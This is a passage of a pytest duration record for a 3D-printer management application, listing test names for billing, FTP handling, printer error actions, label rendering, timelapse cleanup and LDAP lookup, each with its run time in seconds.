"unit/services/test_finance_service_billing.py::TestFinanceBilling::test_concurrent_charge_conflict_preserves_callers_pending_changes": 0.20987315569072962, + "unit/services/test_finance_service_billing.py::TestFinanceBilling::test_run_context_charges_initiator_and_consumes_only_its_reservation": 0.19520676508545876, + "unit/services/test_finance_service_billing.py::TestFinanceBilling::test_run_id_collision_with_another_archive_is_loud": 0.19381167087703943, + "unit/services/test_finance_service_billing.py::TestPartialPrintCharges::test_aborted_print_with_partial_filament_charges_proportionally": 0.20473936293274164, + "unit/services/test_finance_service_billing.py::TestPartialPrintCharges::test_cancelled_print_with_zero_run_usage_is_not_charged": 0.2129920283332467, + "unit/services/test_finance_service_billing.py::TestPartialPrintCharges::test_completed_print_still_charges_full_cost": 0.19596987683326006, + "unit/services/test_finance_service_billing.py::TestPartialPrintCharges::test_failed_print_with_minimal_filament_charges_small_amount": 0.19518658611923456, + "unit/services/test_finance_service_billing.py::TestPartialPrintCharges::test_invalid_transaction_type_is_rejected": 0.19135131035000086, + "unit/services/test_finance_service_billing.py::TestPartialPrintCharges::test_partial_charge_with_cost_center_override": 0.20067097805440426, + "unit/services/test_finance_service_billing.py::TestPartialPrintCharges::test_partial_print_with_missing_planned_filament_is_skipped": 0.19563073944300413, + "unit/services/test_finance_service_billing.py::TestPartialPrintCharges::test_terminal_partial_print_uses_per_run_consumption_and_consumes_reservation[aborted]": 0.20626442041248083, + "unit/services/test_finance_service_billing.py::TestPartialPrintCharges::test_terminal_partial_print_uses_per_run_consumption_and_consumes_reservation[cancelled]": 0.2077958807349205, + "unit/services/test_finance_service_billing.py::TestPartialPrintCharges::test_terminal_partial_print_uses_per_run_consumption_and_consumes_reservation[failed]": 0.20444613229483366, + "unit/services/test_finance_service_defaults.py::TestFinanceDefaults::test_creates_wallet_private_center_and_membership": 0.187712037935853, + "unit/services/test_finance_service_defaults.py::TestFinanceDefaults::test_reactivates_existing_private_center": 0.18393440917134285, + "unit/services/test_finance_service_defaults.py::TestFinanceDefaults::test_updates_private_center_name_and_is_idempotent": 0.18848814256489277, + "unit/services/test_ftp_cooloff_retry_budget_2898.py::TestConnectHonoursTheOptOut::test_a_fresh_handshake_failure_is_announced_again": 0.0011478587985038757, + "unit/services/test_ftp_cooloff_retry_budget_2898.py::TestConnectHonoursTheOptOut::test_an_exempt_client_reaches_the_printer": 0.0015428634360432625, + "unit/services/test_ftp_cooloff_retry_budget_2898.py::TestConnectHonoursTheOptOut::test_it_says_it_once_per_cooloff_and_not_once_per_attempt": 0.004051513038575649, + "unit/services/test_ftp_cooloff_retry_budget_2898.py::TestConnectHonoursTheOptOut::test_the_default_still_refuses_to_open_a_socket": 0.0018183691427111626, + "unit/services/test_ftp_cooloff_retry_budget_2898.py::TestConnectHonoursTheOptOut::test_the_opt_out_does_not_leak_to_the_next_client": 0.0015115821734070778, + "unit/services/test_ftp_cooloff_retry_budget_2898.py::TestConnectHonoursTheOptOut::test_the_skip_says_why_at_a_level_operators_see": 0.0011615883558988571, + "unit/services/test_ftp_cooloff_retry_budget_2898.py::TestDispatchKeepsItsAttempts::test_a_background_download_is_still_gated": 0.0017205243930220604, + "unit/services/test_ftp_cooloff_retry_budget_2898.py::TestDispatchKeepsItsAttempts::test_every_upload_attempt_reaches_the_printer": 0.03544081840664148, + "unit/services/test_ftp_cooloff_retry_budget_2898.py::TestDispatchKeepsItsAttempts::test_the_pre_upload_delete_is_exempt_too": 0.002158205024898052, + "unit/services/test_ftp_cooloff_retry_budget_2898.py::TestDispatchKeepsItsAttempts::test_without_the_exemption_the_same_upload_touches_nothing": 0.033660090528428555, + "unit/services/test_ftp_cooloff_retry_budget_2898.py::TestRetryLoopStopsOnAnArmedCooloff::test_a_caller_without_the_ip_keeps_its_full_budget": 0.03241158835589886, + "unit/services/test_ftp_cooloff_retry_budget_2898.py::TestRetryLoopStopsOnAnArmedCooloff::test_a_respecting_caller_stops_after_the_attempt_that_armed_it": 0.0021847067400813103, + "unit/services/test_ftp_failed_connect_cleanup_2780.py::TestDisconnect::test_a_failing_quit_falls_back_to_closing": 0.002961311489343643, + "unit/services/test_ftp_failed_connect_cleanup_2780.py::TestDisconnect::test_a_healthy_disconnect_quits": 0.0019378820434212685, + "unit/services/test_ftp_failed_connect_cleanup_2780.py::test_a_failed_connect_closes_its_socket[oserror]": 0.001585281454026699, + "unit/services/test_ftp_failed_connect_cleanup_2780.py::test_a_failed_connect_closes_its_socket[perm]": 0.0014132978394627571, + "unit/services/test_ftp_failed_connect_cleanup_2780.py::test_a_failed_connect_closes_its_socket[ssl]": 0.010900369845330715, + "unit/services/test_ftp_failed_connect_cleanup_2780.py::test_a_failed_connect_closes_its_socket[temp]": 0.0014124177396297455, + "unit/services/test_ftp_failed_connect_cleanup_2780.py::test_a_failed_connect_closes_its_socket[timeout]": 0.0015088999643921852, + "unit/services/test_ftp_failed_connect_cleanup_2780.py::test_a_failure_after_connect_still_closes": 0.0013920199126005173, + "unit/services/test_ftp_failed_connect_cleanup_2780.py::test_close_raising_does_not_propagate": 0.0012749303132295609, + "unit/services/test_ftp_failed_connect_cleanup_2780.py::test_the_ssl_path_still_opens_the_cooloff": 0.0016255257651209831, + "unit/services/test_ftp_profiles.py::test_cap_tls_v1_2_actually_applied_to_ssl_context": 0.001688934862613678, + "unit/services/test_ftp_profiles.py::test_default_profile_does_not_cap_tls": 0.0010007452219724655, + "unit/services/test_ftp_profiles.py::test_ftp_profile_dataclass_default_constructible": 0.0009045051410794258, + "unit/services/test_ftp_profiles.py::test_h2c_caps_tls_v1_2": 0.0008829450234770775, + "unit/services/test_ftp_profiles.py::test_h2c_internal_ssdp_codes_resolve_to_h2c": 0.0008765039965510368, + "unit/services/test_ftp_profiles.py::test_lookup_is_case_insensitive": 0.0008896980434656143, + "unit/services/test_ftp_profiles.py::test_non_capped_models_still_default": 0.0009017297998070717, + "unit/services/test_ftp_profiles.py::test_p2s_caps_tls_v1_2": 0.0009145438671112061, + "unit/services/test_ftp_profiles.py::test_p2s_internal_ssdp_code_resolves_to_p2s": 0.0009030736982822418, + "unit/services/test_ftp_profiles.py::test_profile_is_frozen": 0.0009064488112926483, + "unit/services/test_ftp_profiles.py::test_unknown_model_returns_default": 0.0009319363161921501, + "unit/services/test_ftp_profiles.py::test_x2d_caps_tls_v1_2": 0.0008962713181972504, + "unit/services/test_ftp_profiles.py::test_x2d_internal_ssdp_code_resolves_to_x2d": 0.000884348526597023, + "unit/services/test_hms_actions.py::TestActionLookup::test_action_enum_values_are_uppercase_strings": 0.0009147953242063522, + "unit/services/test_hms_actions.py::TestActionLookup::test_known_a1_error_returns_actions": 0.0009223893284797668, + "unit/services/test_hms_actions.py::TestActionLookup::test_underscore_form_does_not_match": 0.000922149047255516, + "unit/services/test_hms_actions.py::TestActionLookup::test_unknown_device_returns_empty_list": 0.0009171795099973679, + "unit/services/test_hms_actions.py::TestActionLookup::test_unknown_error_returns_empty_list": 0.0009061377495527267, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_abort_sends_ams_abort": 0.0014210445806384087, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_dbl_check_ok_sends_clean_then_uiop_close": 0.0014638938009738922, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_dbl_check_resume_is_plain_resume": 0.0019211098551750183, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_disable_purification_sends_close_air_filt": 0.0017393296584486961, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_every_publish_is_followed_by_pushall": 0.0013437969610095024, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_filament_extruded_sends_ams_done": 0.001763414591550827, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_ignore_accepts_16_char_full_code_as_decimal": 0.0012727370485663414, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_ignore_no_reminder_uses_ignore_command_not_idle_ignore": 0.0012655109167099, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_ignore_resume_sends_bambustudio_ignore_command_paused": 0.0012775557115674019, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_ignore_resume_state_independent": 0.0015655048191547394, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_ignore_with_no_job_id_sends_empty_string": 0.0016167499125003815, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_no_reminder_next_time_uses_idle_ignore_type_zero": 0.0013098139315843582, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_ok_button_sends_bare_clean_print_error": 0.0014031389728188515, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_proceed_falls_through_to_resume": 0.001264922320842743, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_refresh_nozzle": 0.0014861058443784714, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_resume_is_plain_no_err_no_job_id": 0.0012764129787683487, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_retry_sends_ams_resume": 0.0014089308679103851, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_returns_false_on_unknown_action": 0.001681329682469368, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_returns_false_when_disconnected": 0.0013695470988750458, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_stop_drying_sends_auto_stop_ams_dry": 0.0013860566541552544, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_stop_is_plain_no_err_no_job_id": 0.0012725843116641045, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_turn_off_fire_alarm_sends_buzzer_off": 0.0014000451192259789, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_ui_only_actions_publish_nothing[CANCLE]": 0.0012288345023989677, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_ui_only_actions_publish_nothing[CHECK_ASSISTANT]": 0.0013910681009292603, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_ui_only_actions_publish_nothing[DBL_CHECK_CANCEL]": 0.0014917673543095589, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_ui_only_actions_publish_nothing[JUMP_TO_LIVEVIEW]": 0.001313401386141777, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_ui_only_actions_publish_nothing[LOAD_VIRTUAL_TRAY]": 0.0012584999203681946, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_ui_only_actions_publish_nothing[OK_JUMP_RACK]": 0.001278677023947239, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_ui_only_actions_publish_nothing[REMOVE_CLOSE_BTN]": 0.0012674257159233093, + "unit/services/test_hms_actions.py::TestExecuteHmsActionDispatch::test_uiop_close_uppercases_lowercase_input": 0.0023448150604963303, + "unit/services/test_hms_errors.py::TestDescribeFault::test_agrees_with_the_short_code_lookup_for_print_error_codes": 0.0013531353324651718, + "unit/services/test_hms_errors.py::TestDescribeFault::test_collapses_a_sixteen_char_code_to_its_g1_g4_short_key": 0.0009229909628629684, + "unit/services/test_hms_errors.py::TestDescribeFault::test_matches_the_derivation_it_replaced": 0.0041584838181734085, + "unit/services/test_hms_errors.py::TestDescribeFault::test_prefers_the_whole_sixteen_char_key_over_the_collapse": 0.0009293919429183006, + "unit/services/test_hms_errors.py::TestDescribeFault::test_resolves_an_eight_char_print_error_code": 0.0009321682155132294, + "unit/services/test_hms_errors.py::TestDescribeFault::test_resolves_regardless_of_case": 0.0009132008999586105, + "unit/services/test_hms_errors.py::TestDescribeFault::test_returns_none_for_a_malformed_length": 0.0009583085775375366, + "unit/services/test_hms_errors.py::TestDescribeFault::test_returns_none_for_an_hms_code_outside_the_catalogue": 0.0009335298091173172, + "unit/services/test_hms_errors.py::TestDescribeFault::test_returns_none_for_an_unknown_eight_char_code": 0.0009479466825723648, + "unit/services/test_hms_errors.py::TestDescribeFault::test_returns_none_for_empty_or_missing": 0.0009370986372232437, + "unit/services/test_hms_errors.py::TestDescribeFault::test_tolerates_surrounding_whitespace": 0.0009403424337506294, + "unit/services/test_hms_errors.py::TestGetErrorDescription::test_common_error_codes_have_descriptions": 0.000925825908780098, + "unit/services/test_hms_errors.py::TestGetErrorDescription::test_handles_lowercase_input": 0.000920475460588932, + "unit/services/test_hms_errors.py::TestGetErrorDescription::test_handles_mixed_case_input": 0.0009251739829778671, + "unit/services/test_hms_errors.py::TestGetErrorDescription::test_returns_description_for_ams_error": 0.0009297626093029976, + "unit/services/test_hms_errors.py::TestGetErrorDescription::test_returns_description_for_known_code": 0.0009255241602659225, + "unit/services/test_hms_errors.py::TestGetErrorDescription::test_returns_none_for_unknown_code": 0.0009304648265242577, + "unit/services/test_hms_errors.py::TestHMSErrorDescriptions::test_all_keys_are_valid_format": 0.0011528702452778816, + "unit/services/test_hms_errors.py::TestHMSErrorDescriptions::test_all_values_are_non_empty_strings": 0.0009933412075042725, + "unit/services/test_hms_errors.py::TestHMSErrorDescriptions::test_dictionary_has_expected_count": 0.000934552401304245, + "unit/services/test_hms_errors.py::TestHMSErrorDescriptions::test_dictionary_is_not_empty": 0.0009919274598360062, + "unit/services/test_homeassistant_list_entities.py::test_empty_search_treated_as_no_search": 0.0018271254375576973, + "unit/services/test_homeassistant_list_entities.py::test_no_search_returns_only_allowed_domains": 0.0021591689437627792, + "unit/services/test_homeassistant_list_entities.py::test_search_is_case_insensitive": 0.0020665545016527176, + "unit/services/test_homeassistant_list_entities.py::test_search_matches_by_entity_id_or_friendly_name": 0.0019091702997684479, + "unit/services/test_homeassistant_list_entities.py::test_search_still_filters_to_allowed_domains": 0.0024415776133537292, + "unit/services/test_kprofile_nozzle_buckets_2854.py::TestNozzleBuckets::test_a_fresh_table_replaces_its_own_nozzle_wholesale": 0.0010227775201201439, + "unit/services/test_kprofile_nozzle_buckets_2854.py::TestNozzleBuckets::test_a_pending_request_still_refuses_another_nozzles_answer": 0.0011634211987257004, + "unit/services/test_kprofile_nozzle_buckets_2854.py::TestNozzleBuckets::test_a_response_for_one_nozzle_leaves_the_others_alone": 0.0010283468291163445, + "unit/services/test_kprofile_nozzle_buckets_2854.py::TestNozzleBuckets::test_an_empty_table_clears_only_its_own_nozzle": 0.0010664090514183044, + "unit/services/test_kprofile_nozzle_buckets_2854.py::TestNozzleBuckets::test_an_unattributable_answer_is_not_allowed_to_empty_the_table": 0.0010049939155578613, + "unit/services/test_kprofile_nozzle_buckets_2854.py::TestNozzleBuckets::test_entries_name_their_own_bucket_when_the_envelope_does_not": 0.0010146219283342361, + "unit/services/test_kprofile_nozzle_buckets_2854.py::TestPrimeKProfileTable::test_a_disconnected_printer_is_left_alone": 0.0014820583164691925, + "unit/services/test_kprofile_nozzle_buckets_2854.py::TestPrimeKProfileTable::test_it_asks_for_every_fitted_nozzle": 0.004868984222412109, + "unit/services/test_kprofile_nozzle_buckets_2854.py::TestPrimeKProfileTable::test_it_never_probes_sizes_the_printer_does_not_have": 0.001615246757864952, + "unit/services/test_kprofile_nozzle_buckets_2854.py::TestPrimeKProfileTable::test_no_reported_nozzle_yet_asks_nothing": 0.0015082759782671928, + "unit/services/test_kprofile_nozzle_buckets_2854.py::TestPrimeKProfileTable::test_one_nozzle_failing_does_not_cost_the_other_its_table": 0.0019204001873731613, + "unit/services/test_kprofile_nozzle_buckets_2854.py::TestPrimeKProfileTable::test_two_identical_nozzles_are_asked_for_once": 0.001701047644019127, + "unit/services/test_kprofile_nozzle_buckets_2854.py::TestPrimeOnConnectEdge::test_a_connected_printer_with_a_known_nozzle_is_primed": 0.0017472347244620323, + "unit/services/test_kprofile_nozzle_buckets_2854.py::TestPrimeOnConnectEdge::test_a_reconnect_re_arms_it": 0.002761436626315117, + "unit/services/test_kprofile_nozzle_buckets_2854.py::TestPrimeOnConnectEdge::test_a_state_that_names_no_nozzle_yet_does_not_spend_the_attempt": 0.002099554054439068, + "unit/services/test_kprofile_nozzle_buckets_2854.py::TestPrimeOnConnectEdge::test_it_is_primed_once_per_connection": 0.001869894564151764, + "unit/services/test_kprofile_nozzle_buckets_2854.py::TestSlotKResolver::test_a_single_nozzle_printer_resolves_without_an_extruder_map": 0.000985107384622097, + "unit/services/test_kprofile_nozzle_buckets_2854.py::TestSlotKResolver::test_a_slot_reads_the_profile_on_its_own_extruder": 0.0009988434612751007, + "unit/services/test_kprofile_nozzle_buckets_2854.py::TestSlotKResolver::test_a_swapped_out_nozzles_stale_table_loses_to_the_installed_one": 0.0009961454197764397, + "unit/services/test_kprofile_nozzle_buckets_2854.py::TestSlotKResolver::test_an_index_that_two_installed_nozzles_both_claim_reads_as_unknown": 0.0009466838091611862, + "unit/services/test_kprofile_nozzle_buckets_2854.py::TestSlotKResolver::test_an_uncalibrated_slot_has_no_value": 0.0009456919506192207, + "unit/services/test_kprofile_nozzle_buckets_2854.py::TestSlotKResolver::test_an_unparseable_k_value_is_skipped_rather_than_raising": 0.0009456118568778038, + "unit/services/test_label_renderer.py::test_ams_template_actually_renders_text": 0.005371116101741791, + "unit/services/test_label_renderer.py::test_box_template_does_not_truncate_normal_brand_or_name": 0.0053700050339102745, + "unit/services/test_label_renderer.py::test_brand_rendered_in_bold_per_809_followup": 0.005085419863462448, + "unit/services/test_label_renderer.py::test_empty_input_still_returns_valid_pdf[ams_holder_74x33]": 0.0012974711135029793, + "unit/services/test_label_renderer.py::test_empty_input_still_returns_valid_pdf[ams_holder_75x55]": 0.0012106597423553467, + "unit/services/test_label_renderer.py::test_empty_input_still_returns_valid_pdf[avery_5160]": 0.0011963220313191414, + "unit/services/test_label_renderer.py::test_empty_input_still_returns_valid_pdf[avery_l7160]": 0.0012111896649003029, + "unit/services/test_label_renderer.py::test_empty_input_still_returns_valid_pdf[box_40x30]": 0.001191754825413227, + "unit/services/test_label_renderer.py::test_empty_input_still_returns_valid_pdf[box_62x29]": 0.0014037629589438438, + "unit/services/test_label_renderer.py::test_hex_color_code_rendered_when_rgba_set": 0.009257891215384007, + "unit/services/test_label_renderer.py::test_hex_color_code_skipped_when_rgba_invalid": 0.005140265449881554, + "unit/services/test_label_renderer.py::test_invalid_starting_position_raises[avery_5160-0]": 0.00116694625467062, + "unit/services/test_label_renderer.py::test_invalid_starting_position_raises[avery_5160-31]": 0.0010951319709420204, + "unit/services/test_label_renderer.py::test_invalid_starting_position_raises[avery_l7160-22]": 0.0010807160288095474, + "unit/services/test_label_renderer.py::test_invalid_starting_position_raises[box_62x29-2]": 0.0010418929159641266, + "unit/services/test_label_renderer.py::test_long_strings_are_truncated_not_overflowed": 0.007646361365914345, + "unit/services/test_label_renderer.py::test_malformed_rgba_falls_back_to_grey": 0.005482706241309643, + "unit/services/test_label_renderer.py::test_missing_optional_fields_does_not_crash": 0.005470704287290573, + "unit/services/test_label_renderer.py::test_monochrome_omits_colour_swatch": 0.00949038751423359, + "unit/services/test_label_renderer.py::test_monochrome_renders_valid_pdf_for_each_template[ams_holder_74x33]": 0.00955776497721672, + "unit/services/test_label_renderer.py::test_monochrome_renders_valid_pdf_for_each_template[ams_holder_75x55]": 0.009574854746460915, + "unit/services/test_label_renderer.py::test_monochrome_renders_valid_pdf_for_each_template[avery_5160]": 0.009336539544165134, + "unit/services/test_label_renderer.py::test_monochrome_renders_valid_pdf_for_each_template[avery_l7160]": 0.009636142291128635, + "unit/services/test_label_renderer.py::test_monochrome_renders_valid_pdf_for_each_template[box_40x30]": 0.009485277347266674, + "unit/services/test_label_renderer.py::test_monochrome_renders_valid_pdf_for_each_template[box_62x29]": 0.009481039829552174, + "unit/services/test_label_renderer.py::test_monochrome_still_renders_text_and_hex": 0.005351911298930645, + "unit/services/test_label_renderer.py::test_multi_color_swatch_does_not_crash": 0.005575411021709442, + "unit/services/test_label_renderer.py::test_qr_payload_is_present_in_pdf_stream": 0.005751959979534149, + "unit/services/test_label_renderer.py::test_renders_valid_pdf_for_each_template[ams_holder_74x33]": 0.015886126086115837, + "unit/services/test_label_renderer.py::test_renders_valid_pdf_for_each_template[ams_holder_75x55]": 0.009384640492498875, + "unit/services/test_label_renderer.py::test_renders_valid_pdf_for_each_template[avery_5160]": 0.00924596842378378, + "unit/services/test_label_renderer.py::test_renders_valid_pdf_for_each_template[avery_l7160]": 0.009151862002909184, + "unit/services/test_label_renderer.py::test_renders_valid_pdf_for_each_template[box_40x30]": 0.009270956739783287, + "unit/services/test_label_renderer.py::test_renders_valid_pdf_for_each_template[box_62x29]": 0.009212839417159557, + "unit/services/test_label_renderer.py::test_roomy_qr_size_has_floor_for_narrow_labels": 0.0009872699156403542, + "unit/services/test_label_renderer.py::test_sheet_starting_position_offsets_first_label": 0.0019424008205533028, + "unit/services/test_label_renderer.py::test_sheet_starting_position_resets_on_second_page": 0.0016885148361325264, + "unit/services/test_label_renderer.py::test_sheet_template_paginates_when_count_exceeds_one_sheet": 0.23405417706817389, + "unit/services/test_label_renderer.py::test_transparent_swatch_does_not_apply_its_alpha_to_qr": 0.005065955221652985, + "unit/services/test_label_renderer.py::test_unknown_template_raises": 0.0010369038209319115, + "unit/services/test_layer_timelapse.py::TestCaptureLayerAppliesRotation::test_rotates_buffered_frame_when_configured": 0.0032480470836162567, + "unit/services/test_layer_timelapse.py::TestCaptureLayerAppliesRotation::test_rotates_fresh_capture_when_configured": 0.002840503118932247, + "unit/services/test_layer_timelapse.py::TestCaptureLayerAppliesRotation::test_skips_rotation_when_not_configured": 0.0027446942403912544, + "unit/services/test_layer_timelapse.py::TestCleanupOrphanedTimelapseSessions::test_a_removal_that_fails_is_not_counted_as_removed": 0.0013957368209958076, + "unit/services/test_layer_timelapse.py::TestCleanupOrphanedTimelapseSessions::test_ignores_non_numeric_printer_dirs": 0.0014813654124736786, + "unit/services/test_layer_timelapse.py::TestCleanupOrphanedTimelapseSessions::test_leaves_unrelated_files_alone": 0.001453734003007412, + "unit/services/test_layer_timelapse.py::TestCleanupOrphanedTimelapseSessions::test_no_base_dir_is_a_no_op": 0.0011701639741659164, + "unit/services/test_layer_timelapse.py::TestCleanupOrphanedTimelapseSessions::test_on_print_complete_clears_the_finalizing_marker": 0.00199840497225523, + "unit/services/test_layer_timelapse.py::TestCleanupOrphanedTimelapseSessions::test_removes_orphaned_frame_dir_and_stray_output": 0.0015461770817637444, + "unit/services/test_layer_timelapse.py::TestCleanupOrphanedTimelapseSessions::test_spares_a_session_that_is_mid_stitch": 0.0017925500869750977, + "unit/services/test_layer_timelapse.py::TestCleanupOrphanedTimelapseSessions::test_spares_recently_modified_entries": 0.0016870414838194847, + "unit/services/test_layer_timelapse.py::TestCleanupOrphanedTimelapseSessions::test_spares_the_currently_active_session": 0.0014941906556487083, + "unit/services/test_layer_timelapse.py::TestGetActiveSessions::test_get_active_sessions_returns_copy": 0.0014373930171132088, + "unit/services/test_layer_timelapse.py::TestLayerChangeLogic::test_capture_layer_handles_failed_capture": 0.00173990149050951, + "unit/services/test_layer_timelapse.py::TestLayerChangeLogic::test_capture_layer_only_on_increase": 0.0023914817720651627, + "unit/services/test_layer_timelapse.py::TestOnLayerChange::test_on_layer_change_captures_when_session_exists": 0.0028610825538635254, + "unit/services/test_layer_timelapse.py::TestOnLayerChange::test_on_layer_change_does_nothing_without_session": 0.0013377387076616287, + "unit/services/test_layer_timelapse.py::TestTimelapseSession::test_frames_dir_path_structure": 0.0013173297047615051, + "unit/services/test_layer_timelapse.py::TestTimelapseSession::test_session_id_format": 0.0022352496162056923, + "unit/services/test_layer_timelapse.py::TestTimelapseSessionManagement::test_cancel_nonexistent_session_is_safe": 0.0009872820228338242, + "unit/services/test_layer_timelapse.py::TestTimelapseSessionManagement::test_cancel_session_removes_and_cleans_up": 0.0017049852758646011, + "unit/services/test_layer_timelapse.py::TestTimelapseSessionManagement::test_get_session_returns_none_for_unknown": 0.0009815692901611328, + "unit/services/test_layer_timelapse.py::TestTimelapseSessionManagement::test_start_session_cancels_existing": 0.001542581245303154, + "unit/services/test_layer_timelapse.py::TestTimelapseSessionManagement::test_start_session_creates_new_session": 0.0014336183667182922, + "unit/services/test_ldap_service.py::TestAuthenticateLdapUserGroups::test_case_insensitive_dedupe": 0.0010458901524543762, + "unit/services/test_ldap_service.py::TestAuthenticateLdapUserGroups::test_dedupes_group_found_via_both_memberuid_and_primary_gid": 0.0009590480476617813, + "unit/services/test_ldap_service.py::TestAuthenticateLdapUserGroups::test_no_gidnumber_skips_primary_search": 0.0009966790676116943, + "unit/services/test_ldap_service.py::TestAuthenticateLdapUserGroups::test_primary_gidnumber_group_found": 0.001022467389702797, + "unit/services/test_ldap_service.py::TestDataclasses::test_ldap_config": 0.0008343430235981941, + "unit/services/test_ldap_service.py::TestDataclasses::test_ldap_user_info": 0.0008481796830892563, + "unit/services/test_ldap_service.py::TestDataclasses::test_ldap_user_info_none_fields": 0.0008364571258425713, + "unit/services/test_ldap_service.py::TestDirectoryWithoutPosixGroupClass::test_a_directory_that_defines_the_class_is_untouched": 0.0009688651189208031, + "unit/services/test_ldap_service.py::TestDirectoryWithoutPosixGroupClass::test_abandons_the_primary_gid_search_after_the_first_rejection": 0.0010170750319957733, + "unit/services/test_ldap_service.py::TestDirectoryWithoutPosixGroupClass::test_authenticates_and_keeps_memberof_groups": 0.0013020308688282967, + "unit/services/test_ldap_service.py::TestDirectoryWithoutPosixGroupClass::test_authenticates_with_no_groups_at_all": 0.0012411661446094513, + "unit/services/test_ldap_service.py::TestLDAPEscape::test_empty_string": 0.0008293939754366875, + "unit/services/test_ldap_service.py::TestLDAPEscape::test_escapes_asterisk": 0.0008291434496641159, + "unit/services/test_ldap_service.py::TestLDAPEscape::test_escapes_backslash": 0.0008431412279605865, + "unit/services/test_ldap_service.py::TestLDAPEscape::test_escapes_close_paren": 0.0008256994187831879, + "unit/services/test_ldap_service.py::TestLDAPEscape::test_escapes_multiple_chars": 0.0008274316787719727, + "unit/services/test_ldap_service.py::TestLDAPEscape::test_escapes_null": 0.0008282316848635674, + "unit/services/test_ldap_service.py::TestLDAPEscape::test_escapes_open_paren": 0.0008231224492192268, + "unit/services/test_ldap_service.py::TestLDAPEscape::test_plain_string": 0.0008443733677268028, + "unit/services/test_ldap_service.py::TestLookupLdapUser::test_does_not_attempt_password_bind": 0.0008948789909482002, + "unit/services/test_ldap_service.py::TestLookupLdapUser::test_raises_when_service_bind_fails": 0.000993112102150917, + "unit/services/test_ldap_service.py::TestLookupLdapUser::test_returns_none_when_user_missing": 0.0009617237374186516, + "unit/services/test_ldap_service.py::TestLookupLdapUser::test_returns_user_info_with_groups": 0.0009154761210083961, + "unit/services/test_ldap_service.py::TestParseConfig::test_enabled_case_insensitive": 0.0008774753659963608, + "unit/services/test_ldap_service.py::TestParseConfig::test_handles_invalid_group_mapping_json": 0.000886332243680954, + "unit/services/test_ldap_service.py::TestParseConfig::test_handles_non_dict_group_mapping": 0.0008800001814961433, + "unit/services/test_ldap_service.py::TestParseConfig::test_parses_full_config": 0.0008964100852608681, + "unit/services/test_ldap_service.py::TestParseConfig::test_parses_minimal_config": 0.0019580600783228874, + "unit/services/test_ldap_service.py::TestParseConfig::test_returns_none_when_disabled": 0.0014218445867300034, + "unit/services/test_ldap_service.py::TestParseConfig::test_returns_none_when_missing_enabled": 0.001248740591108799, + "unit/services/test_ldap_service.py::TestParseConfig::test_returns_none_when_no_server_url": 0.0010099727660417557, + "unit/services/test_ldap_service.py::TestParseConfig::test_returns_none_when_server_url_whitespace": 0.0010053357109427452, + "unit/services/test_ldap_service.py::TestParseConfig::test_strips_whitespace": 0.0008611651137471199, + "unit/services/test_ldap_service.py::TestResolveGroupMapping::test_case_insensitive_dn": 0.0008472492918372154, + "unit/services/test_ldap_service.py::TestResolveGroupMapping::test_empty_groups": 0.0008309269323945045, + "unit/services/test_ldap_service.py::TestResolveGroupMapping::test_empty_mapping": 0.0008324310183525085, + "unit/services/test_ldap_service.py::TestResolveGroupMapping::test_extra_groups_ignored": 0.0008290652185678482, + "unit/services/test_ldap_service.py::TestResolveGroupMapping::test_multiple_matches": 0.0008482392877340317, + "unit/services/test_ldap_service.py::TestResolveGroupMapping::test_no_match": 0.0008408166468143463, + "unit/services/test_ldap_service.py::TestResolveGroupMapping::test_partial_match_not_matched": 0.0008295746520161629, + "unit/services/test_ldap_service.py::TestResolveGroupMapping::test_single_match": 0.0008373688906431198, + "unit/services/test_ldap_service.py::TestSearchLdapUsers::test_connection_skips_client_side_attribute_validation": 0.0009887134656310081, + "unit/services/test_ldap_service.py::TestSearchLdapUsers::test_falls_back_to_cn_when_neither_samaccountname_nor_uid": 0.000946342945098877, + "unit/services/test_ldap_service.py::TestSearchLdapUsers::test_falls_back_to_uid_when_no_samaccountname": 0.0009615113958716393, + "unit/services/test_ldap_service.py::TestSearchLdapUsers::test_filter_covers_all_common_attributes": 0.0009508440271019936, + "unit/services/test_ldap_service.py::TestSearchLdapUsers::test_picks_samaccountname_first": 0.0009594270959496498, + "unit/services/test_ldap_service.py::TestSearchLdapUsers::test_raises_when_service_bind_fails": 0.001169922761619091, + "unit/services/test_ldap_service.py::TestSearchLdapUsers::test_requests_all_user_attributes_to_bypass_schema_check": 0.0009567337110638618, + "unit/services/test_ldap_service.py::TestSearchLdapUsers::test_returns_empty_when_query_too_short": 0.0008980939164757729, + "unit/services/test_ldap_service.py::TestSearchLdapUsers::test_returns_empty_when_query_whitespace": 0.0008885571733117104, + "unit/services/test_ldap_service.py::TestSearchLdapUsers::test_wildcard_in_query_is_escaped": 0.0009575225412845612, + "unit/services/test_location_sensor_alert_provider_scope_2824.py::test_printer_scoped_provider_does_not_get_location_alerts_by_default": 0.07199880667030811, + 